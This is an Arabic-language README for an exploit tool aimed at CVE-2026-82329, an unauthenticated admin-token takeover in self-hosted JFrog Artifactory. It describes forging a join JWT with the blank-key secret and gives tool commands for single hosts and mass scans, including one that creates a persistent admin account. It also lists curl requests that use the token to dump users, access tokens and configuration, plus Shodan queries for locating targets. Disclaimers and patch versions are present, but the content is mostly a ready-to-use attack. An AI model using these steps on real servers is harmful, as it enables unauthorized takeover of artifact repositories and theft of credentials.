
استغلال لثغرة CVE-2026-82329، وهي تجاوز للمصادقة دون تحقق في JFrog Artifactory المستضاف ذاتيًا، مما يسمح بالاستيلاء على رمز المسؤول عبر مفتاح انضمام فارغ.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (الاستضافة الذاتية) انضمام JWT غير مصادق عليه
→ رمز خدمة admin → رمز وصول لمنصة applied-permissions/admin.
CVSS 9.8 · CWE-287 · CISA KEV · تم استغلاله في البرية.
للاختبار المصرح به فقط. لا تقم بتشغيل هذا ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها.
تثق التثبيتات الافتراضية ذاتية الاستضافة بمفتاح انضمام فارغ.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
JFrog المستضاف سحابياً مصحح. الاستضافة الذاتية فقط.
سطر إصلاح الوصول: 7.191.14.
# stdlib فقط — لا حاجة لـ pip
python3 artifactory.py -h
التحقق من TLS معطل افتراضياً (شهادة Artifactory ذاتية التوقيع أمر طبيعي).
لا حاجة لأي علامة إضافية.
# مضيف واحد
python3 artifactory.py -u https://artifactory.example.internal:8082
# طباعة رمز الإدارة المُصكوك
python3 artifactory.py -u https://TARGET:8082 --token
# قائمة / خط أنابيب (بأسلوب httpx، shodan، subfinder)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# إصدار Pro / Enterprise فقط — إنشاء مسؤول محلي دائم (تدميري)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (patched / no blank key)
[FAIL] https://dead:8082 unreachable
| العلامة | المعنى |
|---|
--token يطبع قيمة Bearer. هذا هو الاستيلاء — مستخدم تسجيل الدخول اختياري.
--create-admin غالباً ما يُرجع 400 على OSS (PUT /artifactory/api/security/users خاص بـ Pro).
رمز الإدارة لا يزال يعمل. الاستمرارية غير مطلوبة لنتيجة صالحة.
استبدل TARGET والصق الرمز من --token.
TOKEN='eyJ...' # مخرجات --token
B='https://TARGET:8082'
# الإصدار / الإصدار التجاري
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# دليل المستخدمين (إداري)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# كل رمز وصول على المثيل
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# جرد المستودعات
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
قراءات إدارية مفيدة أخرى (لا تكتب إلا إذا كنت مصرحاً):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
الواجهة: المنصة ← سجل الدخول باستخدام Access Token، أو أرسل
Authorization: Bearer <token> مع كل طلب.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
خطأ سياسة كلمة المرور 400 ≠ غير معرض للثغرة. الرمز لديه بالفعل aud=*.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# المنافذ الشائعة
8081 8082 8040 8046 443
الأداة تزيل /artifactory /ui /webapp من -u وتتواصل مع موجه Access على نفس الأصل.
--create-admin ليس هو الاكتشافأبلغ عن التأثير كالتالي: رمز مسؤول منصة غير مصادق عليه.
إنشاء المستخدم هو خطوة لاحقة، وليس المشكلة الجذرية.
هذا المستودع هو أداة تحقق للأنظمة التي لديك إذن باختبارها.
صك الرموز، أو سرد المستخدمين، أو إنشاء حسابات على بنية تحتية تابعة لجهات خارجية دون إذن أمر غير قانوني.
التصحيح: قم بالترقية إلى البناء المُصلح لفرعك، واضبط مفتاح انضمام حقيقي، ودوّر الرموز المُصكوكة بعد الإفصاح.
mitsec · @ynsmroztas
| الخطوة | الطلب | النتيجة |
|---|
| 1 | تزوير انضمام JWT بنوع HS256 (iat جديد، skip_node_registration=true) | سر HMAC معروف |
| 2 | POST /access/api/v1/registry/join | 201 رمز خدمة scp=admin |
| 3 | POST /access/api/v1/tokens | 200 رمز إداري scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | إثبات إداري فقط (بدون مصادقة = 401) |
| الفرع | الثغرة ≤ | الإصلاح |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
VULN | تم قبول الانضمام الفارغ + إثبات إداري (configuration أو قائمة الرموز = 200) |
SAFE | تم رفض الانضمام — مصحح، أو مفاتيح انضمام إضافية مضبوطة، أو ليس Access |
INFO | تم صك الانضمام، نقاط الإثبات ليست 200 — افحص يدوياً |
FAIL | شبكة / مهلة |
| السطح | OSS | Pro / Enterprise |
|---|
| صك رمز وصول إداري | نعم | نعم |
| قراءة الإعدادات / قائمة الرموز / المستودعات | نعم | نعم |
PUT /artifactory/api/security/users | 400 خاص بـ Pro | 200/201 |
POST /access/api/v2/users | يعتمد على الإصدار / السياسة | 201 |